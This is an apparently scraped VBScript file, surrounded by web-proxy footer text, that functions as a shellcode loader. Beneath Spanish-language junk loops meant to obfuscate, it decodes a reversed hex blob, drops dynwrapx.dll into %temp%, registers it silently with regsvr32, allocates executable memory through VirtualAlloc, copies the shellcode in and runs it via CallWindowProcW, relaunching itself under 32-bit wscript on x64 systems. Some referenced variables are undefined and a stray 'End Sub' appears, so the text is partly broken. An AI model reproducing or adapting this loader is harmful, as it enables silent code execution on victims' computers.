Dim x, y, z

For i = 1 To 500
x = i * 2
y = x + 5
z = x / y
Next

vagh = StrReverse(vagh)
Dim jjd: jjd =
"########3C3CD5A595B5E5F55C3#B84#B8DD3#C1A5B8B4C#B866DD3#42A5B81E57#242C7B34FBE8F3#
D#FC1C7#47#C48CACF#C33FF335F3#B843B894#33EDD3##2A5B881A4B85D3#878245B8C354B83447DE5
8C142C6B87565351525553CD5A595B5E5F55CB87EBE2#47B4F3#87#47B6F3#83F5781748363B8#2E7B8
8#E6B8C167B8C#67B8#3#7B846#C337565351525553C8#4C38######838E#58#4247FF#DFF4#4247FF8
#4C38######B48E#5CEE#E44A86######228E3C#14C381#98FFFFFFFC8E414247FF#DFF##A6814247FF
#####1##86#4A6######E18E1519FAAC4586FFFFFF2F8E##A63C4#42C43#BCB83C1612B8######4#8EA
4A6#DFF4#17FF9#B8######218EE2A6#######58E15E9A4F38886######428E##A6#DFF4#17FF23FF9#
B8######438EE2A61DB8######D38E23A6######B78E158E7A7C3D86######F48E##A61198#######B1
C189#B8#######68E23A643153#8215B89#B8######F68E22A6#DFFC#4C38######2B8E158DD3A61A86
######688E##A623FF65754#A615######498E64A611B8######D98EE2A68#6C38######4A6BB813B8#
#####FA8E23A6437C3893B8######BB8E22A6#DFF4#17FF259#B8######AC8EE2A611B8######3D8E23
A6####1#118E15867A7C2D86######5E8E##A6##1###7#1#7C9#B8######4F8E23A6FFFFFF3358F#ACB
39#B8####1#5#8EA3A611981#2C3811B8####1#318E63A6#DFFC#4C38####1#658E158DD3A61A86####
1#A28E##A613FF2565#177FF#59#B8####1#B38EE2A61CB8####1#448E64A643153#9#B8####1##58E2
2A6C#15B89#B8####1#C58E62A6133#####1#568EE3A64117B89#B893B8####1#378E62A6#DFFC#4C38
####1#6B8E15FC418EB586####1#A88E21A613FF2582A6####1#698E62A6113#####1#F98EE3A6#D3##
#####8F2C18C325B811B8####1#3B8EE1A6127F####1#CB8E63A6######828B########1#7C####1#EC
8E63A6#DFF15252#A6####1#BD8EA3A66#2C3811B8####1#7E8E22A6####2#528E15FC418EB586####1
#9F8E21A6#DFFC#4C38####2#C38E158DD3A61A86####2##18E##A613FF43#7FF654577FF259#B8####
2#328EE2A61#B8####2#C28E22A613B8####2#538EE3A693B8####2#E38E22A61DB8####2#748E63A6#
DFF13FF4377FF#527FF#####3##86#4A69#B8####2#168EE2A693B811B8####2#C68E22A6####2#AA8E
15E6A159C986####2#E78E##A6#DFF13FF4327FF9#B8####2#E88EE2A611B8####2#798E22A6####2#5
D8E152F#173#D86####2#9A8E21A6#DFF13FF##A6##A6##A6##A64#A6##A6##A62575####2#4C8E24A6
11B8####2#DC8EA2A693B8####2#6D8EE2A6####3#418E15613BEF8886####2#8E8E##A6#DFF1575###
###8F869#B8####2#AF8E22A6AF3#93B8####3#5#8EE3A6C315B89#B8####3#118EE1A6####3#F48E15
FC418EB586####3#328E21A6#DFF13FF23FF#4A6####3#238EE1A61DB8####3#B38EE3A6####3#978E1
5FC418EB586####3#D48E21A6######441#7C9#B8####3#C58EA2A6####3#A68E######8C8623A6####
3#678EC#A6E2A6####3#F78E#4A6A2A6####3#888E42A662A6####3#198E######4F8622A6####3#D98
EC3A6E1A69398####3#1A8EA4A61198####3#AA8EE3A6C24245B81198824245B8####3#BB8E24A6CFB8
B5#################################################################################
#####################C6##C6##46##47##E6######23##33##C6##56##E6##27##56##B6######E4
8E#6"

jjd = replace(jjd, "#", "0")


Dim a, b, c

For i = 1 To 750
a = i * 3
b = a - 7
c = a / b
Next

jjd = StrReverse(jjd)
Dim contador
Dim resultado

For contador = 1 To 1000


If contador Mod 2 = 0 Then
resultado = resultado + contador
End If
Next

Dim sssf: sssf = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%temp%\


dynwrapx.dll")

Dim suma
Dim valorActual

For valorActual = 1 To 500


suma = suma + valorActual
Next

hghs sssf, fgwdd(vagh)


Dim shell: Set shell = CreateObject("WScript.Shell")
Dim gfgfqawcvwav
Do Until IsObject(gfgfqawcvwav)
Dim listaNumeros
Dim sumaTotal

Set listaNumeros = CreateObject("Scripting.Dictionary")

For i = 1 To 1000
listaNumeros.Add i, i * 3
Next

For Each numero In listaNumeros.Keys


sumaTotal = sumaTotal + listaNumeros(numero)
Next

shell.Run "reg" & "svr32.exe /I /S """ & sssf & """", 0, True

Dim mensajeFinal
Dim frase

For i = 1 To 500
frase = "Este es el ciclo número " & i & ". "
mensajeFinal = mensajeFinal & UCase(Left(frase, 10)) & LCase(Mid(frase, 11,
Len(frase) - 10))
Next

Set gfgfqawcvwav = CreateObject("Dyna" & "micWrapperX")


Dim datos, resultadoFinal
Dim sasas

datos = Array(3, 7, 11, 15, 19, 23, 27, 31)

For Each elemento In datos


For sasas = 1 To elemento
resultadoFinal = resultadoFinal & Chr(64 + sasas)
Next
resultadoFinal = resultadoFinal & vbCrLf
Next

Loop
With gfgfqawcvwav
.Register "kernel32.dll", "VirtualAl" & "loc", "i=puuu", "r=p"

Dim listaNombres, nombreFinal


Dim nombre, apellido

listaNombres = Array("Juan", "María", "Pedro", "Ana", "Luis", "Elena")

For Each nombre In listaNombres


apellido = Mid(nombre, 2, Len(nombre) - 1)
nombreFinal = nombreFinal & UCase(Left(nombre, 1)) & LCase(apellido) &
vbCrLf
Next

Dim gfgs: gfgs = .VirtualAlloc(0, Len(jjd) / 2, 4096, 64)


For i = 1 To Len(jjd) Step 2
.NumPut Eval("&H" & Mid(jjd, i, 2)), gfgs, (i - 1) / 2

Next
Dim gghsqq: gghsqq = .VirtualAlloc(0, Len(te) + 1, 4096, 64)
For i = 1 To Len(te) Step 2
.NumPut Eval("&H" & Mid(te, i, 2)), gghsqq, (i - 1) / 2
Next
Dim ggg, jj1

ReDim ggg(10, 10)

For i = 1 To UBound(ggg, 1)
For j = 1 To UBound(ggg, 2)
ggg(i, j) = i * j
jj1 = jj1 & ggg(i, j) & vbTab
Next
jj1 = jj1 & vbCrLf
Next
Dim resultadoOperacion
Dim valor1, valor2, operador

valor1 = 10
valor2 = 5

For Each operador In Array("+", "-", "*", "/")


Select Case operador
Case "+"
resultadoOperacion = valor1 + valor2
Case "-"
resultadoOperacion = valor1 - valor2
Case "*"
resultadoOperacion = valor1 * valor2
Case "/"
If valor2 <> 0 Then
resultadoOperacion = valor1 / valor2
Else
resultadoOperacion = "División por cero"
End If
End Select
Next

.Register "user32.dll", "CallWin" & "dowProcW", "i=phull", "r=u"


.CallWindowProcW gfgs, .StrPtr(ve), gghsqq, 0, 0
Dim cadenaResultado
Dim cadenaEntrada

cadenaEntrada = "VBScript es interesante pero este código no hace nada."

For i = 1 To Len(cadenaEntrada)
cadenaResultado = cadenaResultado & Chr(Asc(Mid(cadenaEntrada, i, 1)) + 1)
Next
End With
End Sub
Sub hrd()
Dim resultadoFinal
Dim variable1, variable2, variable3

variable1 = "VB"
variable2 = "Script"
variable3 = "Ejemplo"

For i = 1 To 100
resultadoFinal = resultadoFinal & UCase(variable1) & LCase(variable2) &
Mid(variable3, 1, 3) & vbCrLf
Next

Set ttyj = GetObject("winmgmts:\\.\root\cimv2")


Set hhj = ttyj.ExecQuery("SELECT * FROM Win32_ComputerSystem")
For Each ObjItem In hhj
Dim listaNombres, mensajeFinal
Dim nombre, apellido

listaNombres = Array("Juan", "María", "Pedro", "Ana", "Luis", "Elena")

For Each nombre In listaNombres


apellido = Mid(nombre, 2, Len(nombre) - 1)
mensajeFinal = mensajeFinal & UCase(Left(nombre, 1)) & LCase(apellido) &
vbCrLf
Next

SystemType = ObjItem.SystemType
Next
Dim matrizDatos, resultado

ReDim matrizDatos(10, 10)

For i = 1 To UBound(matrizDatos, 1)
For j = 1 To UBound(matrizDatos, 2)
matrizDatos(i, j) = i * j
resultado = resultado & matrizDatos(i, j) & vbTab
Next
resultado = resultado & vbCrLf
Next

If LCase(SystemType) = "x64-based pc" And InStr(LCase(WScript.Path),


"syswow64") = 0 Then
CreateObject("WScript.Shell").Run "%windir%\SysWOW64\wscript.exe //b
//e:vbscript """ & WScript.ScriptFullName & """"
Dim resultadoOperacion
Dim valor1, valor2, operador

valor1 = 10
valor2 = 5

For Each operador In Array("+", "-", "*", "/")


Select Case operador
Case "+"
resultadoOperacion = valor1 + valor2
Case "-"
resultadoOperacion = valor1 - valor2
Case "*"
resultadoOperacion = valor1 * valor2
Case "/"
If valor2 <> 0 Then
resultadoOperacion = valor1 / valor2
Else
resultadoOperacion = "División por cero"
End If
End Select
Next
WScript.Quit
End If
End Sub

Function fgwdd(hhgdd)
Dim cadenaResultado
Dim cadenaEntrada

cadenaEntrada = "VBScript es interesante pero este código no hace nada."

For i = 1 To Len(cadenaEntrada)
cadenaResultado = cadenaResultado & Chr(Asc(Mid(cadenaEntrada, i, 1)) + 1)
Next

Dim jjjjg
Dim variable1, variable2, variable3

variable1 = "VB"
variable2 = "Script"
variable3 = "Ejemplo"

For i = 1 To 100
jjjjg = jjjjg & UCase(variable1) & LCase(variable2) & Mid(variable3, 1, 3)
& vbCrLf
Next

Set btb = CreateObject("Microsoft.XmlDOM")


btb.LoadXML("<hello/>")
btb.documentElement.NodeTypedValue = hhgdd
btb.documentElement.DataType = "bin.hex"
fgwdd = btb.documentElement.NodeTypedValue
Dim kkhkh
Dim hh, hhjgh, gfgfgf

hh = "VB"
hhjgh = "Script"
gfgfgf = "Ejemplo"

For i = 1 To 100
For j = 1 To 5
kkhkh = kkhkh & UCase(hh) & LCase(hhjgh) & Mid(gfgfgf, 1, 3) & vbCrLf
Next
Next

End Function

Sub hghs(kiii, ss)

Dim resultadoOperacion
Dim valor1, valor2, operador

valor1 = 10
valor2 = 5

For Each operador In Array("+", "-", "*", "/")


Select Case operador
Case "+"
resultadoOperacion = valor1 + valor2
Case "-"
resultadoOperacion = valor1 - valor2
Case "*"
resultadoOperacion = valor1 * valor2
Case "/"
If valor2 <> 0 Then
resultadoOperacion = valor1 / valor2
Else
resultadoOperacion = "División por cero"
End If
End Select

If resultadoOperacion <> "División por cero" Then


resultadoFinal = resultadoFinal & "Resultado para " & operador & ": " &
resultadoOperacion & vbCrLf
Else
resultadoFinal = resultadoFinal & "Error: " & resultadoOperacion &
vbCrLf
End If
Next

Set jjg = CreateObject("Scripting.FileSystemObject")


If jjg.FileExists(kiii) Then Exit Sub
With CreateObject("ADODB.Stream")
.Type = 1
.Open
.Write ss
.SaveToFile kiii
End With
Dim resultadoFinal
Dim listaFrutas, fruta

listaFrutas = Array("Manzana", "Banana", "Naranja", "Uva", "Piña")

For Each fruta In listaFrutas


If Len(fruta) > 5 Then
resultadoFinal = resultadoFinal & "¡Esta fruta tiene más de 5 letras!"
& vbCrLf
Else
resultadoFinal = resultadoFinal & "¡Esta fruta tiene 5 letras o menos!"
& vbCrLf
End If
Next

End Sub

You might also like

pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy